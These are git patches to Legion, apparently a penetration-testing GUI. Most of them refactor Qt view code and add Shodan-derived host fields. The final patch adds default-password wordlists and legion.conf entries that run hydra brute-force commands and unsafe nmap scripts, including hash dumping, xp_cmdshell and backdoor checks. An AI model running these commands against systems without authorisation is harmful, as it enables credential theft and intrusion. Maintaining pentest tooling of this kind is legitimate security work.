+1251,23 @@ def updateToolHostsTableView(self, toolname): for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) - if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) + # the host we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_host_clicked in ids: + row = self.ToolHostsTableModel.getRowForDBId(self.viewState.tool_host_clicked) else: - row = 0 # or select the first row + row = 0 # or select the first row if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.ui.ToolHostsTableView.selectRow(row) self.toolHostsClick() - def updateRightPanel(self, hostIP): self.updateServiceTableView(hostIP) self.updateScriptsView(hostIP) self.updateCvesByHostView(hostIP) self.updateInformationView(hostIP) # populate host info tab - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) if hostIP: self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) @@ -1167,7 +1281,7 @@ def displayToolPanel(self, display=False): self.ui.splitter_3.show() self.ui.splitter.setSizes([self.leftPanelSize, 0, size]) # reset hoststableview width - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': self.displayScreenshots(True) else: self.displayScreenshots(False) @@ -1202,14 +1316,19 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + self.ProcessesTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, + sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1247,7 +1366,8 @@ def updateProcessesIcon(self): processIcon = './images/{processIconName}.gif'.format(processIconName=processIconName) self.runningWidget = ImagePlayer(processIcon) - self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), + self.runningWidget) #################### GLOBAL INTERFACE UPDATE FUNCTION #################### @@ -1257,18 +1377,18 @@ def updateInterface(self): if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': self.updateHostsTableView() - self.lazy_update_services = True - self.lazy_update_tools = True + self.viewState.lazy_update_services = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': self.updateServiceNamesTableView() - self.lazy_update_hosts = True - self.lazy_update_tools = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() - self.lazy_update_hosts = True - self.lazy_update_services = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_services = True #################### TOOL TABS #################### @@ -1276,8 +1396,8 @@ def updateInterface(self): # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code # ..maybe we should do it here. rethink def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filename=''): - - if 'screenshot' in str(tabTitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + if 'screenshot' in str(tabTitle): tempWidget = ImageViewer() tempWidget.setObjectName(str(tabTitle)) tempWidget.open(str(filename)) @@ -1293,26 +1413,28 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) if not content == '': # if there is any content to display tempTextView.appendPlainText(content) - if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui - tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) + # if restoring tabs (after opening a project) don't show the tab in the ui + if restoring == False: + self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - hosttabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(ip)] if 'screenshot' in str(tabTitle): hosttabs.append(tempWidget.scrollArea) # add the new tab to the list else: hosttabs.append(tempWidget) # add the new tab to the list - self.hostTabs.update({str(ip):hosttabs}) + self.viewState.hostTabs.update({str(ip):hosttabs}) return tempTextView @@ -1328,7 +1450,8 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) self.ui.PythonTabLayout.addWidget(tempWidget) @@ -1341,7 +1464,7 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab - self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked currentWidget = self.ui.ServicesTabWidget.currentWidget() if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): @@ -1370,18 +1493,19 @@ def closeHostToolTab(self, index): # remove tab from host tabs list hosttabs = [] - for ip in self.hostTabs.keys(): - if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: - hosttabs = self.hostTabs[ip] + for ip in self.viewState.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.viewState.hostTabs[ip]: + hosttabs = self.viewState.hostTabs[ip] hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) - self.hostTabs.update({ip:hosttabs}) + self.viewState.hostTabs.update({ip:hosttabs}) break - self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid self.ui.ServicesTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab - self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) @@ -1394,8 +1518,10 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - tools = self.controller.getProcessesFromDB(self.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. - nbr = len(tools) # show a progress bar because this could take long + # false means we are fetching processes with display flag=False, which is the case for every process once + # a project is closed. + tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) + nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 progress = 100.0 / nbr @@ -1404,37 +1530,42 @@ def restoreToolTabs(self): for t in tools: if not t.tabTitle == '': if 'screenshot' in str(t.tabTitle): - imageviewer = self.createNewTabForHost(t.hostIp, t.tabTitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer = self.createNewTabForHost( + t.hostIp, t.tabTitle, True, '', + str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) imageviewer.setObjectName(str(t.tabTitle)) imageviewer.setProperty('dbId', str(t.id)) else: - self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + # True means we are restoring tabs. Set the widget's object name to the DB id of the process + self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) totalprogress += progress # update the progress bar self.tick.emit(int(totalprogress)) def restoreToolTabsForHost(self, ip): - if (self.hostTabs) and (ip in self.hostTabs): - tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + if (self.viewState.hostTabs) and (ip in self.viewState.hostTabs): + tabs = self.viewState.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs for tab in tabs: # do not display hydra and nmap tabs when restoring for that host if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): - tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) - # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) + # this function restores the textview widget (now in the tools display widget) to its original tool tab + # (under the correct host) def restoreToolTabWidget(self, clear=False): if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return - for host in self.hostTabs.keys(): - hosttabs = self.hostTabs[host] + for host in self.viewState.hostTabs.keys(): + hosttabs = self.viewState.hostTabs[host] for tab in hosttabs: if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) break if clear: - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel + # remove the tool output currently in the tools display panel + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) @@ -1445,13 +1576,15 @@ def createNewBruteTab(self, ip, port, service): self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) - self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) - self.bruteTabCount += 1 # update tab count - self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget + self.ui.BruteTabWidget.addTab(bWidget, str(self.viewState.bruteTabCount)) + self.viewState.bruteTabCount += 1 # update tab count + # show the last added tab in the brute widget + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) def closeBruteTab(self, index): - currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab - self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + # select the tab for which the cross button was clicked + self.ui.BruteTabWidget.setCurrentIndex(index) if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": @@ -1470,7 +1603,8 @@ def closeBruteTab(self, index): self.ui.BruteTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab - self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) @@ -1494,23 +1628,28 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, "unset", "unset") + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, + "unset", "unset") bWidget.validationLabel.hide() bWidget.toggleRunButton() bWidget.resetDisplay() # fixes tab bug - hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), + self.controller.getUserlistPath(), + self.controller.getPasslistPath()) bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) - hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] hosttabs.append(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) - bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), + 'tcp', unicode(hydraCommand), getTimestamp(human=True), + bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) @@ -1532,16 +1671,18 @@ def bruteProcessFinished(self, bWidget): bWidget.pid = -1 # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab - self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + self.createNewTabForHost( + str(bWidget.ip), str(bWidget.objectName()), restoring=True, + content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) - hosttabs = [] # go through host tabs and find the correct bWidget - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + hosttabs = [] # go through host tabs and find the correct bWidget + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] if hosttabs.count(bWidget) > 1: hosttabs.remove(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) From e83eeb8dbc90d59a19602da29db2f307d16da144 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Feb 2020 12:50:56 -0500 Subject: [PATCH 356/450] Added vendor to host info widget --- ui/view.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index f3f07d69..185e3ff8 100644 --- a/ui/view.py +++ b/ui/view.py @@ -1174,7 +1174,7 @@ def updateInformationView(self, hostIP): self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, - asn=host.asn, isp=host.isp) + vendor=host.vendor, asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] From c266475724f30911b55a6a53e921869bbd9f9760 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Feb 2020 15:20:36 -0500 Subject: [PATCH 357/450] Added country code and city --- ui/dialogs.py | 44 ++++++++++++++++++++++++++++++++++++++++++++ ui/view.py | 7 ++++--- 2 files changed, 48 insertions(+), 3 deletions(-) diff --git a/ui/dialogs.py b/ui/dialogs.py index e569801b..22dc151a 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -631,6 +631,38 @@ def setupLayout(self): self.OSAccuracyLayout.addWidget(self.OSAccuracyLabel) self.OSAccuracyLayout.addWidget(self.OSAccuracyText) self.OSAccuracyLayout.addStretch() + + self.CountryLabel = QtWidgets.QLabel() + self.CountryText = QtWidgets.QLabel() + self.CountryLayout = QtWidgets.QHBoxLayout() + self.CountryLayout.addSpacing(20) + self.CountryLayout.addWidget(self.CountryLabel) + self.CountryLayout.addWidget(self.CountryText) + self.CountryLayout.addStretch() + + self.CityLabel = QtWidgets.QLabel() + self.CityText = QtWidgets.QLabel() + self.CityLayout = QtWidgets.QHBoxLayout() + self.CityLayout.addSpacing(20) + self.CityLayout.addWidget(self.CityLabel) + self.CityLayout.addWidget(self.CityText) + self.CityLayout.addStretch() + + self.LatitudeLabel = QtWidgets.QLabel() + self.LatitudeText = QtWidgets.QLabel() + self.LatitudeLayout = QtWidgets.QHBoxLayout() + self.LatitudeLayout.addSpacing(20) + self.LatitudeLayout.addWidget(self.LatitudeLabel) + self.LatitudeLayout.addWidget(self.LatitudeText) + self.LatitudeLayout.addStretch() + + self.LongitudeLabel = QtWidgets.QLabel() + self.LongitudeText = QtWidgets.QLabel() + self.LongitudeLayout = QtWidgets.QHBoxLayout() + self.LongitudeLayout.addSpacing(20) + self.LongitudeLayout.addWidget(self.LongitudeLabel) + self.LongitudeLayout.addWidget(self.LongitudeText) + self.LongitudeLayout.addStretch() font = QtGui.QFont('Calibri', 12) # in each different section font.setBold(True) @@ -652,6 +684,10 @@ def setupLayout(self): self.OSLabel.setFont(font) self.OSNameLabel.setText('Name:') self.OSAccuracyLabel.setText('Accuracy:') + self.CountryLabel.setText('Country Code:') + self.CityLabel.setText('City:') + self.LatitudeLabel.setText('Latitude:') + self.LongitudeLabel.setText('Longitude:') ######### self.vlayout_1 = QtWidgets.QVBoxLayout() self.vlayout_2 = QtWidgets.QVBoxLayout() @@ -680,6 +716,10 @@ def setupLayout(self): self.vlayout_3.addWidget(self.OSLabel) self.vlayout_3.addLayout(self.OSNameLayout) self.vlayout_3.addLayout(self.OSAccuracyLayout) + self.vlayout_3.addLayout(self.CountryLayout) + self.vlayout_3.addLayout(self.CityLayout) + self.vlayout_3.addLayout(self.LatitudeLayout) + self.vlayout_3.addLayout(self.LongitudeLayout) self.vlayout_3.addStretch() self.vlayout_4 = QtWidgets.QVBoxLayout() @@ -705,3 +745,7 @@ def updateFields(self, **kwargs): self.IspText.setText(kwargs.get('isp') or 'unknown') self.OSNameText.setText(kwargs.get('osMatch') or 'unknown') self.OSAccuracyText.setText(kwargs.get('osAccuracy') or 'unknown') + self.CountryText.setText(kwargs.get('countryCode') or 'unknown') + self.CityText.setText(kwargs.get('city') or 'unknown') + self.LatitudeText.setText(kwargs.get('latitude') or 'unknown') + self.LongitudeText.setText(kwargs.get('longitude') or 'unknown') diff --git a/ui/view.py b/ui/view.py index 185e3ff8..795aa4a7 100644 --- a/ui/view.py +++ b/ui/view.py @@ -178,7 +178,7 @@ def startConnections(self): # signal initialisations (signals/slots, actions, e def initTables(self): # this function prepares the default settings for each table # hosts table (left) headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] setTableProperties(self.ui.HostsTableView, len(headers), [0, 2, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) @@ -1025,7 +1025,7 @@ def contextMenuScreenshot(self, pos): def updateHostsTableView(self): headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", - "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + "Lastboot", "Distance", "CheckedHost", "Country Code", "State", "City", "Latitude", "Longitude", "Count", "Closed"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) @@ -1174,7 +1174,8 @@ def updateInformationView(self, hostIP): self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, - vendor=host.vendor, asn=host.asn, isp=host.isp) + vendor=host.vendor, asn=host.asn, isp=host.isp, countryCode=host.countryCode, + city=host.city, latitude=host.latitude, longitude=host.longitude) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] From 89d730f12eeec081a27a84eaa91080891fc87780 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Feb 2020 15:21:19 -0500 Subject: [PATCH 358/450] Fixed ISP typo --- scripts/python/pyShodan.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/scripts/python/pyShodan.py b/scripts/python/pyShodan.py index 6e389de6..c679c47f 100644 --- a/scripts/python/pyShodan.py +++ b/scripts/python/pyShodan.py @@ -23,9 +23,12 @@ def run(self): self.dbHost.latitude = pyShodanResults.get('latitude', 'unknown') self.dbHost.longitude = pyShodanResults.get('longitude', 'unknown') self.dbHost.asn = pyShodanResults.get('asn', 'unknown') - self.dbHost.ips = pyShodanResults.get('isp', 'unknown') + self.dbHost.isp = pyShodanResults.get('isp', 'unknown') self.dbHost.city = pyShodanResults.get('city', 'unknown') self.dbHost.countryCode = pyShodanResults.get('country_code', 'unknown') + #print("ISP is: " + pyShodanResults.get('isp', 'unknown')) + print("COUNTRY CODE IS: " + str(pyShodanResults.get('country_code', 'unknown'))) + print("CITY IS: " + str(pyShodanResults.get('city', 'unknown'))) self.session.add(self.dbHost) if __name__ == "__main__": From 9e587c865e967560d658ab28fdb317b0fcc3dc28 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Feb 2020 15:22:03 -0500 Subject: [PATCH 359/450] Added city, countrycode, latitude/longitude From 6eef8cd2076ba58aacb95329f44d700a042af348 Mon Sep 17 00:00:00 2001 From: GitHub Date: Wed, 5 Feb 2020 16:09:51 -0500 Subject: [PATCH 360/450] Removed debug stuff --- scripts/python/pyShodan.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/scripts/python/pyShodan.py b/scripts/python/pyShodan.py index c679c47f..abe147d6 100644 --- a/scripts/python/pyShodan.py +++ b/scripts/python/pyShodan.py @@ -26,9 +26,6 @@ def run(self): self.dbHost.isp = pyShodanResults.get('isp', 'unknown') self.dbHost.city = pyShodanResults.get('city', 'unknown') self.dbHost.countryCode = pyShodanResults.get('country_code', 'unknown') - #print("ISP is: " + pyShodanResults.get('isp', 'unknown')) - print("COUNTRY CODE IS: " + str(pyShodanResults.get('country_code', 'unknown'))) - print("CITY IS: " + str(pyShodanResults.get('city', 'unknown'))) self.session.add(self.dbHost) if __name__ == "__main__": From ec87040c8e1a60066d6acb1bbf86354e839576cb Mon Sep 17 00:00:00 2001 From: "Matthew C. Jones, CPA, CISA, OSCP, CCFE" Date: Wed, 5 Feb 2020 16:39:23 -0500 Subject: [PATCH 361/450] Add password lists from better default passlists and related brute force config file entries --- legion.conf | 13 +- wordlists/db2-betterdefaultpasslist.txt | 8 + wordlists/ftp-betterdefaultpasslist.txt | 66 ++ wordlists/ftp-default-userpass.txt | 10 - wordlists/mssql-betterdefaultpasslist.txt | 66 ++ wordlists/mssql-default-userpass.txt | 3 - wordlists/mysql-betterdefaultpasslist.txt | 23 + wordlists/mysql-default-userpass.txt | 3 - wordlists/oracle-betterdefaultpasslist.txt | 716 ++++++++++++++++++ wordlists/oracle-default-userpass.txt | 58 -- ...txt => postgres-betterdefaultpasslist.txt} | 14 +- wordlists/ssh-betterdefaultpasslist.txt | 131 ++++ wordlists/telnet-betterdefaultpasslist.txt | 146 ++++ wordlists/tomcat-betterdefaultpasslist.txt | 79 ++ wordlists/vnc-betterdefaultpasslist.txt | 41 + wordlists/windows-betterdefaultpasslist.txt | 27 + 16 files changed, 1319 insertions(+), 85 deletions(-) create mode 100644 wordlists/db2-betterdefaultpasslist.txt create mode 100644 wordlists/ftp-betterdefaultpasslist.txt delete mode 100644 wordlists/ftp-default-userpass.txt create mode 100644 wordlists/mssql-betterdefaultpasslist.txt delete mode 100644 wordlists/mssql-default-userpass.txt create mode 100644 wordlists/mysql-betterdefaultpasslist.txt delete mode 100644 wordlists/mysql-default-userpass.txt create mode 100644 wordlists/oracle-betterdefaultpasslist.txt delete mode 100644 wordlists/oracle-default-userpass.txt rename wordlists/{postgres-default-userpass.txt => postgres-betterdefaultpasslist.txt} (59%) create mode 100644 wordlists/ssh-betterdefaultpasslist.txt create mode 100644 wordlists/telnet-betterdefaultpasslist.txt create mode 100644 wordlists/tomcat-betterdefaultpasslist.txt create mode 100644 wordlists/vnc-betterdefaultpasslist.txt create mode 100644 wordlists/windows-betterdefaultpasslist.txt diff --git a/legion.conf b/legion.conf index a565301e..9c73e152 100644 --- a/legion.conf +++ b/legion.conf @@ -51,7 +51,7 @@ finger=Enumerate users (finger), ./scripts/fingertool.sh [IP], finger ftp-anon.nse=ftp-anon.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-anon.nse --script-args=unsafe=1", ftp ftp-bounce.nse=ftp-bounce.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-bounce.nse --script-args=unsafe=1", ftp ftp-brute.nse=ftp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-brute.nse --script-args=unsafe=1", ftp -ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-default=Check for default ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp @@ -178,11 +178,11 @@ ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-quer ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", 